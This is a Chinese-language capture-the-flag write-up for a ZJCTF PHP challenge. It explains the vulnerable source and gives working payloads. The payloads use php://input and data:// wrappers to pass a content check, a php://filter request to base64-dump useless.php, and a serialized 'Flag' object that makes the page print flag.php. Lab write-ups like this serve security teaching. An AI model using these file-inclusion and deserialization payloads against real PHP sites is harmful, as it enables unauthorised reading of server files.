代码分析

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ #判断读取text传入的文件名中的内容
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; #输出读取的内容
if(preg_match("/flag/",$file)){ #判断file中是否存在字符串flag
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password); #将字符串password还原为一个对象
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
  • file_get_contents($text,’r’)===”welcome to the zjctf”

可以通过php://input伪协议以POST传入welcome to the zjctf

构造以下payload

text=php://input

1.png

也可以通过data://text/plain伪协议传入welcome to the zjctf

构造以下payload

text=data://text/plain,welcome%20to%20the%20zjctf
  • include($file)可以使用php://filter伪协议读取文件,根据提示读取useless.php
text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

2.png

将内容进行base64解码
得到php代码

<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

分析代码
构造反序列化语句,file赋值为flag.php即可得到flag

text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

3.png